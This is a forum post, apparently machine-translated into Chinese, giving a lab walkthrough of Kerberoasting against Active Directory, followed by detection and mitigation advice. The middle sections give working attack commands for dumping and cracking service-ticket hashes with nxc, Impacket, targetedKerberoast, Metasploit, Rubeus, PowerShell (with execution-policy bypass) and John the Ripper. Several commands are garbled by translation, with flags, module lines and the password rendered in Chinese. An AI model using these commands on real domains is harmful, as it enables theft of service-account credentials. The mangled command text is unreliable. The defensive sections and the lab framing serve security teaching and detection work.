Active Directory 中的Kerberoasting 攻击

morpheus

版主

morpheus Rep
0
0
0
Rep
0
morpheus Vouches
Vouches
0
8 MONTHS
8 8 MONTHS OF SERVICE
morpheus 获得
0
0
0
获得
0
morpheus 凭证
0
0
0
凭证
0
主题
15
点赞
0
HakB
8
在社区成长 8 月
LEVEL 1 1 XP
 
本文探讨Kerberoasting,这是Active Directory 中的一种隐秘攻击,它利用服务主体名称(SPN) 来提取和破解TGS 票证哈希值,从而泄露服务帐户密码。与AS-REP Roasting 不同,它滥用合法的Kerberos 请求。该帖子详细介绍了实验室设置、使用Impacket、Rubeus 和NXC 的利用,并将攻击映射到MITRE ATTCK T1558.003。它还涵盖检测(事件ID 4769)、AES 实施和防御此威胁的缓解策略。

目录​

路边烘烤演练
先决条件
实验室设置
利用方法– Kerberoasting 攻击(T1558.003)Nxc
Impacket-GetNPUsers
目标Kerberoast
元分析软件
鲁伯乌斯
Windows PowerShell – Kerberoast
检测缓解

Kerb-roasting演练​

步骤1: 攻击者获得对域的访问权限攻击者首先使用有效的低权限用户帐户登录到域。不需要特殊权限或管理员访问权限- 只需任何域用户帐户即可。
步骤2: 枚举SPN(服务主体名称)攻击者扫描域以查找具有与其关联的SPN 的服务帐户。
这些SPN 代表在网络上运行的服务(例如SQL、HTTP 等),并与域帐户绑定。
步骤3: 请求SPN 的TGS 一旦攻击者找到SPN,他们就会从域控制器(KDC) 请求这些服务的票证授予服务(TGS) 票证。
这些票证使用服务帐户密码的NTLM 哈希进行加密。
攻击者不需要密码来请求票证,只需要SPN。
步骤4:提取TGS票据攻击者从内存中或直接使用工具提取TGS票据。
步骤5:离线破解TGS票据现在可以使用: hashcat、john the ripper等工具离线破解加密的TGS票据
攻击者通过暴力破解或字典攻击来恢复服务帐户的明文密码。
由于票证是使用帐户的哈希值加密的,因此破解票证=获取密码。
步骤6:使用破解的密码如果成功,攻击者现在拥有服务帐户的凭据。
许多服务帐户具有高权限(例如本地管理员甚至域管理员),或者可用于横向移动、访问数据库或升级权限。

先决条件​

Windows Server 2019 作为Active Directory
卡利Linux
工具: Impacket、Metasploit、nxc、targetedKerberoast、Rubeus、Poweshell
Windows 10/11 – 作为客户端

实验室设置​

在此实验室设置中,我们将向服务帐户分配SPN,为kerberoasting 攻击模拟奠定基础。

创建 AD 环境:

要模拟Active Directory 环境,您需要一台Windows Server 作为域控制器(DC) 和一台可以运行枚举和利用工具的客户端计算机(Windows 或Linux)。

域控制器:​

安装Windows Server(推荐2016 或2019)。
通过添加Active Directory 域服务设置域(例如本地),将其提升为域控制器。

使用 SPN 创建服务帐户:​

在域控制器(DC) 上,使用setspn 为用户raj 分配SPN。
setspn -a hackingarticles/dc.ignite.local ignite.local\raj
-a 向用户添加SPN。
hackingarticles/dc.ignite.local 是SPN。
local\raj 是服务帐户。
Kerberoasting Attack in Active Directory

利用方法 – Kerberoasting 攻击 (T1558.003)​

攻击者(在本例中为Aarti 用户)可以通过请求帐户的NTLM 哈希加密的Kerberos 服务票证(TGS) 来利用具有SPN 的服务帐户。然后他们可以离线破解这些票证以恢复明文凭据。

NXC​

NXC(以前称为CrackMapExec)可以高效地执行Kerberoasting。
nxc ldap 192.168.1.53 -u aarti -p 密码@1 --kerberoasting hash.txt
1.png

此外,借助John the Ripper 和Rock You 等字典,可以帮助攻击者暴力破解弱密码。
约翰-w=/usr/share/wordlists/rockyou.txt hash.txt
2.png

Impacket-GetNPUsers​

使用Impacket 内置模块“GetUSerSPNs.py”,它是一个python 脚本,用于发现SPN、提取TGS 并转储服务哈希,这可以借助以下命令来完成。
impacket-GetUserSPNs-请求-dc-ip 192.168.1.53 ignite.local/aarti:password@1
然后,它将转储服务哈希,并在字典的帮助下,您可以暴力破解它以提取服务密码。
Kerberoasting Attack in Active Directory

目标Kerberoast​

TargetedKerberoast 是一个Python 脚本,可以为具有SPN 集的用户帐户打印“kerberoast”哈希值。
克隆存储库并安装:
git克隆https://github.com/ShutdownRepo/targetedKerberoast.git
cd 目标Kerberoast
4.png
运行攻击:
./targetedKerberoast.py --dc-ip '192.168.1.53' -v -d 'ignite.local' -u 'aarti' -p '密码@1
5.png

Metasploit​

枚举Kerberoastable 帐户的最简单方法是使用在内部利用Impacket 的auxiliary/gather/get_user_spns 模块。该模块将自动在LDAP 中查询Kerberoastable SPN,并请求可使用弱密码加密的Kerberos 服务票证,该弱密码可被暴力破解:
使用辅助/收集/get_user_spns
设置rhosts 192.168.1.53
设置域ignite.local
设置用户aarti
设置密码@1

Kerberoasting Attack in Active Directory
Windows

鲁伯斯​

Rubeus.exe 是一个很棒的工具,因为它附带了一个kerberoast 模块,可以发现SPN、提取TGS 和转储服务哈希,这可以通过以下命令来完成。
./Rubeus.exe kerberoast /outfile:hash.txt
50.png

Windows PowerShell – Kerberoast​

您可以下载Kerberoast.ps1,这是一个与上述模块类似的PowerShell 脚本;它发现SPN、提取TGS 并转储服务哈希。您可以借助以下命令来完成此操作。
Powershell -ep 绕过
导入模块.\Invoke-kerberoast.ps1
调用kerberoast
Kerberoasting Attack in Active Directory

检测缓解​

检测​

检测Kerberoasting 至关重要,因为攻击者会默默地请求服务票证,然后可以离线破解这些票证。
关键Windows 事件ID: 4769 检测Kerberoasting 至关重要,因为攻击者会默默地请求服务票证,然后他们可以离线破解这些票证。
在事件ID 4769: 中寻找什么
票证加密类型: 通常为0x17 (RC4) — 最容易破解。
帐户名称: 查找不寻常的服务帐户名称或高价值用户。
服务名称(SPN): 识别不应频繁访问的罕见或高权限SPN。
客户端地址: 如果TGS 请求来自非特权或异常机器/用户,则可能是可疑的。
这些指标可能表明Kerberoasting 活动,尤其是从请求服务帐户票证的低特权帐户中看到时。

缓解措施​

保护您的Active Directory 环境免遭Kerberoasting 涉及改进密码卫生、SPN 配置和监控。
使用强而复杂的密码: 确保服务帐户(尤其是具有SPN 的帐户)使用长、随机且唯一的密码。避免重复使用密码或使用字典单词。
定期轮换密码: 为服务帐户实施计划的密码更改,尤其是与SPN 相关的帐户。
使用托管服务帐户(gMSA): 这些帐户自动处理复杂的密码管理和轮换,从而显着降低风险。
避免对服务使用高特权帐户: 不要将SPN 分配给域管理员或其他特权帐户。使用单独的、最低权限的服务帐户。
禁用RC4 加密: 通过组策略强制执行更强的加密(AES128:0x11、AES256:0x12):
定期监控事件ID 4769: 使用SIEM 工具或脚本针对异常TGS 请求发出警报。
作者: Komal Singh 是一名网络安全研究员和技术内容作家,她是Ignite Technologies 的一名非常热情的渗透测试人员和安全分析师。联系方式这里
 
顶部